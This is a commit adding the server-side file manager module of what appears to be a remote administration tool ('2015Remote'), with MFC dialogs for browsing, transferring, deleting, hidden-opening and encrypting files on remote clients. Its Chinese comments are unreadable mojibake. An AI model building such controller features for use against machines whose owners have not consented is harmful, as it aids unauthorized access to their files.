Plugin: Add another file management module
This commit is contained in:
24
server/2015Remote/file/CFileListCtrl.cpp
Normal file
24
server/2015Remote/file/CFileListCtrl.cpp
Normal file
@@ -0,0 +1,24 @@
|
||||
#include "StdAfx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CFileListCtrl.h"
|
||||
#include "CFileManagerDlg.h"
|
||||
|
||||
using namespace file;
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileListCtrl, CListCtrl)
|
||||
ON_WM_DROPFILES()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
void CFileListCtrl::SetParenDlg(VOID* p_CFileManagerDlg)
|
||||
{
|
||||
m_pCFileManagerDlg = p_CFileManagerDlg;
|
||||
}
|
||||
|
||||
void CFileListCtrl::OnDropFiles(HDROP hDropInfo)
|
||||
{
|
||||
TCHAR filePath[MAX_PATH] = { 0 };
|
||||
DragQueryFile(hDropInfo, 0, filePath, sizeof(filePath) * 2 + 2);
|
||||
((CFileManagerDlg*)m_pCFileManagerDlg)->TransferSend(filePath);
|
||||
::DragFinish(hDropInfo);
|
||||
CListCtrl::OnDropFiles(hDropInfo);
|
||||
}
|
||||
14
server/2015Remote/file/CFileListCtrl.h
Normal file
14
server/2015Remote/file/CFileListCtrl.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include <afxcmn.h>
|
||||
|
||||
|
||||
class CFileListCtrl :public CListCtrl
|
||||
{
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
|
||||
public:
|
||||
void* m_pCFileManagerDlg;
|
||||
void SetParenDlg(VOID* p_CFileManagerDlg);
|
||||
afx_msg void OnDropFiles(HDROP hDropInfo);
|
||||
};
|
||||
2505
server/2015Remote/file/CFileManagerDlg.cpp
Normal file
2505
server/2015Remote/file/CFileManagerDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
197
server/2015Remote/file/CFileManagerDlg.h
Normal file
197
server/2015Remote/file/CFileManagerDlg.h
Normal file
@@ -0,0 +1,197 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "CFileListCtrl.h"
|
||||
#include <Resource.h>
|
||||
|
||||
#define MAX_WRITE_RETRY 15
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
#define MAX_RECV_BUFFER 65535
|
||||
|
||||
namespace file {
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileManagerDlg dialog
|
||||
typedef CList<CString, CString&> strList;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
typedef struct {
|
||||
LVITEM* plvi;
|
||||
CString sCol2;
|
||||
} lvItem, * plvItem;
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w, h, size;
|
||||
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
class CFileManagerDlg : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CString strLpath;
|
||||
CString m_strDesktopPath;
|
||||
CString GetDirectoryPath(BOOL bIncludeFiles);
|
||||
bool m_bCanAdmin, m_bUseAdmin, m_bIsStop;
|
||||
CString m_strReceiveLocalFile;
|
||||
CString m_strUploadRemoteFile;
|
||||
void ShowProgress();
|
||||
void SendStop(BOOL bIsDownload);
|
||||
int m_nTransferMode;
|
||||
CString m_hCopyDestFolder;
|
||||
void SendContinue();
|
||||
void SendException();
|
||||
void EndLocalRecvFile();
|
||||
void EndRemoteDeleteFile();
|
||||
CString ExtractNameFromFullPath(CString szFullPath);
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
CString m_strOperatingFile; // <20>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
CString m_strFileName; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
__int64 m_nOperatingFileLength; // <20>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||
__int64 m_nCounter;// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void WriteLocalRecvFile();
|
||||
void CreateLocalRecvFile();
|
||||
BOOL SendDownloadJob();
|
||||
BOOL SendUploadJob();
|
||||
BOOL SendDeleteJob();
|
||||
|
||||
strList m_Remote_Download_Job;
|
||||
strList m_Remote_Upload_Job;
|
||||
strList m_Remote_Delete_Job;
|
||||
|
||||
void ShowMessage(TCHAR* lpFmt, ...);
|
||||
CString m_Remote_Path;
|
||||
CStringA CopyFileNAme;;
|
||||
BYTE m_bRemoteDriveList[2048];
|
||||
CString GetParentDirectory(CString strPath);
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
void SearchEnd(); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen);
|
||||
int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON
|
||||
ClientContext* m_pContext;
|
||||
ISocketBase* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||
void FixedRemoteDriveList();
|
||||
void GetRemoteFileList(CString directory = _T(""));
|
||||
void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen);
|
||||
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
|
||||
bool id_search_result;
|
||||
HICON m_hIcon;
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
~CFileManagerDlg() {
|
||||
m_bOnClose = TRUE;
|
||||
SAFE_DELETE(m_ProgressCtrl);
|
||||
}
|
||||
enum {
|
||||
IDD = IDD_FILE_WINOS
|
||||
};
|
||||
CComboBox m_Remote_Directory_ComboBox;
|
||||
CComboBox m_Local_Directory_ComboBox;
|
||||
CFileListCtrl m_list_remote;
|
||||
CListCtrl m_list_remote_driver;
|
||||
CListCtrl m_list_remote_search;
|
||||
CImageList I_ImageList0;
|
||||
CImageList I_ImageList1;
|
||||
CButton m_BtnSearch;
|
||||
CString m_SearchStr;
|
||||
BOOL m_bSubFordle;
|
||||
|
||||
BOOL DRIVE_Sys;
|
||||
BOOL DRIVE_CAZ;
|
||||
|
||||
__int64 Bf_nCounters; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ڱȽ<DAB1><C8BD><EFBFBD>
|
||||
LONG Bf_dwOffsetHighs;
|
||||
LONG Bf_dwOffsetLows;
|
||||
|
||||
void TransferSend(CString file);
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
virtual void PostNcDestroy();
|
||||
virtual void OnClose();
|
||||
protected:
|
||||
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnBeginDragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnclickListSearch(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnGo();
|
||||
afx_msg void OnRemotePrev();
|
||||
afx_msg void OnRemoteView();
|
||||
afx_msg void OnRemoteRecent();
|
||||
afx_msg void OnRemoteDesktop();
|
||||
afx_msg void OnRemoteCopy();
|
||||
afx_msg void OnTransferSend();
|
||||
afx_msg void OnRemoteDelete();
|
||||
afx_msg void OnRemoteStop();
|
||||
afx_msg void OnRemoteNewFolder();
|
||||
afx_msg void OnTransferRecv();
|
||||
afx_msg void OnRename();
|
||||
afx_msg void OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDelete();
|
||||
afx_msg void OnDeleteEnforce();
|
||||
afx_msg void OnNewFolder();
|
||||
afx_msg void OnRefresh();
|
||||
afx_msg void OnUseAdmin();
|
||||
afx_msg void OnRemoteOpenShow();
|
||||
afx_msg void OnRemoteOpenHide();
|
||||
afx_msg void OnRemoteEncryption();
|
||||
afx_msg void OnRemoteDecrypt();
|
||||
afx_msg void OnRemoteInfo();
|
||||
afx_msg void OnRemoteCopyFile();
|
||||
afx_msg void OnRemotePasteFile();
|
||||
afx_msg void OnRemotezip();
|
||||
afx_msg void OnRemotezipstop();
|
||||
afx_msg void OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL MyShell_GetImageLists();
|
||||
afx_msg void OnCompress();
|
||||
afx_msg void OnUncompress();
|
||||
afx_msg void OnSetfocusRemotePath();
|
||||
afx_msg void OnBtnSearch();
|
||||
afx_msg void OnBnClickedSearchStop();
|
||||
afx_msg void OnBnClickedSearchResult();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
protected:
|
||||
BOOL m_bOnClose;
|
||||
private:
|
||||
bool m_bIsUpload; // <20>Ƿ<EFBFBD><C7B7>ǰѱ<C7B0><D1B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>λ
|
||||
BOOL m_bDragging; // during a drag operation
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
void EndLocalUploadFile();
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
|
||||
void ShowSearchPlugList();
|
||||
};
|
||||
}
|
||||
111
server/2015Remote/file/CFileTransferModeDlg.cpp
Normal file
111
server/2015Remote/file/CFileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,111 @@
|
||||
// FileTransferModeDlg.cpp : implementation file
|
||||
//
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "CFileTransferModeDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg dialog
|
||||
|
||||
using namespace file;
|
||||
|
||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/)
|
||||
: CDialog(CFileTransferModeDlg::IDD, pParent)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_OVERWRITE, &CFileTransferModeDlg::OnBnClickedOverwrite)
|
||||
ON_BN_CLICKED(IDC_OVERWRITE_ALL, &CFileTransferModeDlg::OnBnClickedOverwriteAll)
|
||||
ON_BN_CLICKED(IDC_ADDITION, &CFileTransferModeDlg::OnBnClickedAddition)
|
||||
ON_BN_CLICKED(IDC_ADDITION_ALL, &CFileTransferModeDlg::OnBnClickedAdditionAll)
|
||||
ON_BN_CLICKED(IDC_JUMP, &CFileTransferModeDlg::OnBnClickedJump)
|
||||
ON_BN_CLICKED(IDC_JUMP_ALL, &CFileTransferModeDlg::OnBnClickedJumpAll)
|
||||
ON_BN_CLICKED(IDC_CANCEL, &CFileTransferModeDlg::OnBnClickedCancel)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg message handlers
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||
{
|
||||
EndDialog(id);
|
||||
}
|
||||
|
||||
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString str;
|
||||
str.Format(_T("<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѱ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"), m_strFileName);
|
||||
|
||||
for (int i = 0; i < str.GetLength(); i += 120) {
|
||||
str.Insert(i, _T("\n"));
|
||||
i += 1;
|
||||
}
|
||||
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedOverwrite()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_OVERWRITE);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedOverwriteAll()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_OVERWRITE_ALL);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedAddition()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_ADDITION);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedAdditionAll()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_ADDITION_ALL);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedJump()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_JUMP);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedJumpAll()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_JUMP_ALL);
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnBnClickedCancel()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
EndDialog(IDC_CANCEL);
|
||||
}
|
||||
31
server/2015Remote/file/CFileTransferModeDlg.h
Normal file
31
server/2015Remote/file/CFileTransferModeDlg.h
Normal file
@@ -0,0 +1,31 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg dialog
|
||||
|
||||
namespace file {
|
||||
|
||||
class CFileTransferModeDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
CString m_strFileName;
|
||||
CFileTransferModeDlg(CWnd* pParent = NULL);
|
||||
|
||||
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
protected:
|
||||
afx_msg void OnEndDialog(UINT id);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnBnClickedOverwrite();
|
||||
afx_msg void OnBnClickedOverwriteAll();
|
||||
afx_msg void OnBnClickedAddition();
|
||||
afx_msg void OnBnClickedAdditionAll();
|
||||
afx_msg void OnBnClickedJump();
|
||||
afx_msg void OnBnClickedJumpAll();
|
||||
afx_msg void OnBnClickedCancel();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
}
|
||||
Reference in New Issue
Block a user